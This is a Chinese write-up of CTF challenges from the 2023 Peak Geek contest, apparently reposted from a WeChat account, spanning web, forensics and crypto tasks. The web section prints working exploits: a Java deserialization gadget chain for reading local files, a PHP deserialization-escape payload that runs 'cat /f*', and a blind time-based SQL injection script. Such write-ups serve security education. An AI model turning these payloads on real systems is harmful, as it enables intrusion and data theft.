WEB
babyurl
二次反序列化
package org.example;
import com.fasterxml.jackson.databind.node.POJONode;
import com.yancao.ctf.bean.URLHelper;
import com.yancao.ctf.util.MyObjectInputStream;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
public class App
{
public static void main( String[] args ) throws IOException, ClassNotFoundException, NoSuchAlgorithmException, NoSuchProviderException, InvalidKeyException, SignatureException, NoSuchFieldException, IllegalAccessException {
URLHelper urlHelper = new URLHelper("FILE:///");
KeyPairGenerator keyGen = KeyPairGenerator.getInstance("DSA", "SUN");
SecureRandom random = SecureRandom.getInstance("SHA1PRNG", "SUN");
keyGen.initialize(1024, random);
PrivateKey signingKey = keyGen.generateKeyPair().getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
signingEngine.initSign(signingKey);
SignedObject signedObject = new SignedObject(urlHelper,signingKey,signingEngine);
POJONode node = new POJONode(signedObject);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, node);
ByteArrayOutputStream baor = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baor);
oos.writeObject(val);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));
//反序列化
// ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
// ObjectInputStream ois = new MyObjectInputStream(bais);
// Object o = ois.readObject();
// baor.close();
}
}
unserialize
访问/www.zip获取源码，根据源码可知是一个反序列化逃逸+无字母数字的命令执行
<?php
class pull_it {
private $x;
function __construct($xx) {
$this->x = $xx;
}
}
var_dump(urlencode("";s:12:" 00push_it 00pwd";".serialize(new pull_it("(~".~"system".")(~".~"cat /f*".");"))));
Payload
root=bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb&pwd=%22%3Bs%3A12%3A%22%00push_it%00pwd%22%3BO%3A7%3A%22pull_it%22%3A1%3A%7Bs%3A10%3A%22%00pull_it%00x%22%3Bs%3A20%3A%22%28%7E%8C%86%8C%8B%9A%92%29%28%7E%9C%9E%8B%DF%D0%99%D5%29%3B%22%3B%7D
hellosql
笛卡尔积的延时注入
import requests
# sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()" #Flllag
# sql = "select group_concat(column_name) from information_schema.columns where table_name='Flllag' and table_schema=database()" #Flagg
sql = "select group_concat(Flagg) from Flllag"
j = 36
flag = "flag{h3Ltx545LiDwpjQ8Ij1x241wIxS4fa"
while True:
for i in range(32, 128):
burp0_url = "http://web-bd1bbd084b.challenge.xctf.org.cn/index.php?id=1'||case+when(ascii(substr(({}),{},1))={})then(select sum('1')from information_schema.tables A,information_schema.columns B,information_schema.columns C)end-- ".format(sql, j, i)
print burp0_url
try:
requests.get(burp0_url, timeout=3)
if i == 127:
j = -1
except:
flag += chr(i)
print flag
j += 1
break
if j == -1:
print flag
exit(0)
MISC
welcome
base64 解码
ZmxhZ3tQZWVrZ2Vla18xc19BX0dyM2E3X2VWZW43X2Ywcl9ldjNyeV9DVEZlcn0=
#flag{Peekgeek_1s_A_Gr3a7_eVen7_f0r_ev3ry_CTFer}
foundme
根据题目描述，是转存的dmp文件，猜测是跟内存使用volatility转存memdump一样，因此使用GIMP查看
在这个位置，发现有个fffffflag.avif，因此使用010查看，发现一共有八个，因此分别导出
f = open('find.DMP','rb').read()
ind = 0x3d3ec31
# data = f[0xc10305-0x85f0:0xc10305+0x500000]
data = f[ind-0x85f0:ind+0x500000]
fw = open('data8.avif','wb').write(data)
#ind分别为8个开头
然后发现data6.avif和data8.avif是flag图片
song
拿到一个没有头的文件，但是发现尾部是PK
因此修改开头为50 4b 03 04 14
然后解压，发现实际上是一个PPT，在ppt/media找到20MB的image4.png文件
看了一下，发现在IEND和最后一个IDAT块中间插了一个东西，删掉PNG部分，然后file一下
查找发现是ape格式，其中ape格式也可以用deepsound加密
但是不知道密码，因此找一下文件夹，发现在解压出来的docProps文件夹下有个图片，其中图片尾是个zip文件
解base得到hint里面的内容
然后由于deepsound2john需要wav，因此按照要求进行转换
然后deepsound解出来一个password.txt，得到ook密码
解一下得到this_zip_password_is_QazWsx147!@#
因此压缩包密码为QazWsx147!@#
解压缩包得到flag
Crypto
Simple_encryption
第一段：费马小定理，公因数分解N，然后同余
第二段：一元copper
from gmpy2 import *
from Crypto.Util.number import *
flag = b''
c1 = 19024563955839349902897822692180949371550067644378624199902067434708278125346234824900117853598997270022872667319428613147809325929092749312310446754419305096891122211944442338664613779595641268298482084259741784281927857614814220279055840825157115551456554287395502655358453270843601870807174309121367449335110327991187235786798374254470758957844690258594070043388827157981964323699747450405814713722613265012947852856714100237325256114904705539465145676960232769502207049858752573601516773952294218843901330100257234517481221811887136295727396712894842769582824157206825592614684804626241036297918244781918275524254
c2 = 11387447548457075057390997630590504043679006922775566653728699416828036980076318372839900947303061300878930517069527835771992393657157069014534366482903388936689298175411163666849237525549902527846826224853407226289495201341719277080550962118551001246017511651688883675152554449310329664415179464488725227120033786305900106544217117526923607211746947511746335071162308591288281572603417532523345271340113176743703809868369623401559713179927002634217140206608963086656140258643119596968929437114459557916757824682496866029297120246221557017875892921591955181714167913310050483382235498906247018171409256534124073270350
N = 21831630625212912450058787218272832615084640356500740162478776482071876178684642739065105728423872548532056206845637492058465613779973193354996353323494373418215019445325632104575415991984764454753263189235376127871742444636236132111097548997063091478794422370043984009615893441148901566420508196170556189546911391716595983110030778046242014896752388438535131806524968952947016059907135882390507706966746973544598457963945671064540465259211834751973065197550500334726779434679470160463944292619173904064826217284899341554269864669620477774678605962276256707036721407638013951236957603286867871199275024050690034901963
g1 = 20303501619435729000675510820217420636246553663472832286487504757515586157679361170332171306491820918722752848685645096611030558245362578422584797889428493611704976472409942840368080016946977234874471779189922713887914075985648876516896823599078349725871578446532134614410886658001724864915073768678394238725788245439086601955497248593286832679485832319756671985505398841701463782272300202981842733576006152153012355980197830911700112001441621619417349747262257225469106511527467526286661082010163334100555372381681421874165851063816598907314117035131618062582953512203870615406642787786668571083042463072230605649134
p = gcd(N, g1 - 1)
c1 = c1 % p
flag += long_to_bytes(c1)
S = 234626762558445335519229319778735528295
n = 28053749721930780797243137464055357921262616541619976645795810707701031602793034889886420385567169222962145128498131170577184276590698976531070900776293344109534005057067680663813430093397821366071365221453788763262381958185404224319153945950416725302184077952893435265051402645871699132910860011753502307815457636525137171681463817731190311682277171396235160056504317959832747279317829283601814707551094074778796108136141845755357784361312469124392408642823375413433759572121658646203123677327551421440655322226192031542368496829102050186550793124020718643243789525477209493783347317576783265671566724068427349961101
e = 5
Cs = [
1693447496400753735762426750097282582203894511485112615865753001679557182840033040705025720548835476996498244081423052953952745813186793687790496086492136043098444304128963237489862776988389256298142843070384268907160020751319313970887199939345096232529143204442168808703063568295924663998456534264361495136412078324133263733409362366768460625508816378362979251599475109499727808021609000751360638976,
2240772849203381534975484679127982642973364801722576637731411892969654368457130801503103210570803728830063876118483596474389109772469014349453490395147031665061733965097301661933389406031214242680246638201663845183194937353509302694926811282026475913703306789097162693368337210584494881249909346643289510493724709324540062077619696056842225526183938442535866325407085768724148771697260859350213678910949,
5082341111246153817896279104775187112534431783418388292800705085458704665057344175657566751627976149342406406594179073777431676597641200321859622633948317181914562670909686170531929552301852027606377778515019377168677204310642500744387041601260593120417053741977533047412729373182842984761689443959266049421034949822673159561609487404082536872314636928727833394518122974630386280495027169465342976]
cnt = 3
A = [(i + 128) ** 2 for i in range(cnt)]
B = [(i + 1024) for i in range(cnt)]
C = [(i + 512) for i in range(cnt)]
for i in range(3):
PR.< x > = PolynomialRing(Zmod(n))
f = (A[i] * x ^ 2 + B[i] * x + C[i]) ^ 5 - Cs[i]
f = f.monic()
x0 = f.small_roots(X=int('f'*32,16), beta=0.4)[0]
flag += long_to_bytes(int(x0))
print(flag)
数学但高中
此题由 ChatGPT 解出 Create by GPT4-Code Interpreter
题目解析
题目给出了一系列的数学表达式，其中包括直线、圆和椭圆的方程，这些方程都有各自的定义域。我们需要画出所有这些图形。
解题步骤
-
首先，我们需要理解所有的数学表达式。它们可以分为以下几类： -
垂直线，形如 x = a，定义域为y在某个区间 -
水平线，形如 y = a，定义域为x在某个区间 -
直线，形如 y = ax + b，定义域为x在某个区间 -
圆，形如 (x - a)^2 + (y - b)^2 = r^2，有可能有y的定义域限制 -
椭圆，形如 (x - a)^2 + ((y - b)^2)/c^2 = 1，无定义域限制 -
对于每种类型的图形，我们使用相应的方法来绘制它们。具体来说，我们使用 matplotlib 的 plot函数来绘制直线和圆，使用 numpy 的函数来生成数据点。 -
所有的图形都绘制完成后，我们可以看到它们组合在一起形成了一个 ASCII 图像。这个图像就是我们的 flag。
代码
这是我们用来解题的 Python 代码。这段代码首先定义了一系列的辅助函数，然后对每种类型的图形进行了处理，并绘制了图像。
import matplotlib.pyplot as plt
import numpy as np
# Create a new figure
plt.figure(figsize=(15, 10))
# Plot vertical lines with restrictions on y
for x_val, y_bounds in [(4, (0, 6)), (7, (0, 6)), (10, (2, 3)),
(13, (0, 3)), (15, (0, 2)), (15, (4, 6)),
(17, (1, 6)), (19, (3, 4)), (21, (3, 4)),
(22, (2, 3)), (24, (2, 3)), (29, (2, 5)),
(32, (2, 5)), (36, (2, 3)), (38, (2, 3)),
(41, (2, 6)), (44, (3, 4)), (46, (3, 4)),
(47, (2, 3)), (49, (2, 3)), (51, (0, 2)),
(51, (4, 6))]:
ys = np.linspace(*y_bounds, 1000)
xs = np.full_like(ys, x_val)
plt.plot(xs, ys, color='b')
# Plot horizontal lines with restrictions on x
for y_val, x_bounds in [(4, [(2, 6), (17, 18), (28, 30), (41, 42)]),
(6, [(4, 6), (15, 16), (17, 19), (41, 43), (50, 51)]),
(0, [(11, 13), (15, 16), (50, 51)]),
(2, [(29, 30), (31, 33), (39, 40)])]:
for x_bound in x_bounds:
xs = np.linspace(*x_bound, 1000)
ys = np.full_like(xs, y_val)
plt.plot(xs, ys, color='b')
# Plot linear functions with restrictions on x
for function, x_bounds in [(lambda x: -x + 17, (14, 15)),
(lambda x: x - 11, (14, 15)),
(lambda x: 0.5 * x - 11, (26, 27)),
(lambda x: -0.5 * x + 17, (26, 27)),
(lambda x: x - 27, (31, 32)),
(lambda x: x - 49, (51, 52)),
(lambda x: -x + 55, (51, 52))]:
xs = np.linspace(*x_bounds, 1000)
ys = function(xs)
plt.plot(xs, ys, color='b')
# Plot circles with restrictions on y
for center, radius, y_bounds in [((9, 3), 1, None),
((12, 3), 1, None),
((20, 3), 1, (2, 3)),
((23, 3), 1, (3, 4)),
((26, 3), 1, None),
((37, 3), 1, (3, 4)),
((45, 3), 1, (2, 3)),
((48, 3), 1, (3, 4))]:
theta = np.linspace(0, 2*np.pi, 1000)
x = center[0] + radius * np.cos(theta)
y = center[1] + radius * np.sin(theta)
if y_bounds is not None:
mask = (y > y_bounds[0]) & (y < y_bounds[1])
x = x[mask]
y = y[mask]
plt.plot(x, y, color='b')
# Plot ellipse
center = (34, 3.5)
rx, ry = 1, 1.5
theta = np.linspace(0, 2*np.pi, 1000)
x = center[0] + rx * np.cos(theta)
y = center[1] + ry * np.sin(theta)
plt.plot(x, y, color='b')
plt.xlim(-1, 55)
plt.ylim(-1, 7)
plt.gca().set_aspect('equal', adjustable='box')
plt.show()
结果
运行上述代码后，我们得到了以下的图像：
总结
这个问题的关键在于理解各种数学表达式，并正确地绘制它们。得到图像后，我们可以看出它们组合在一gether形成了一个 ASCII 图像，这个图像就是我们的 flag。
原文始发于微信公众号（n03tAck）：2023巅峰极客WriteUp
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论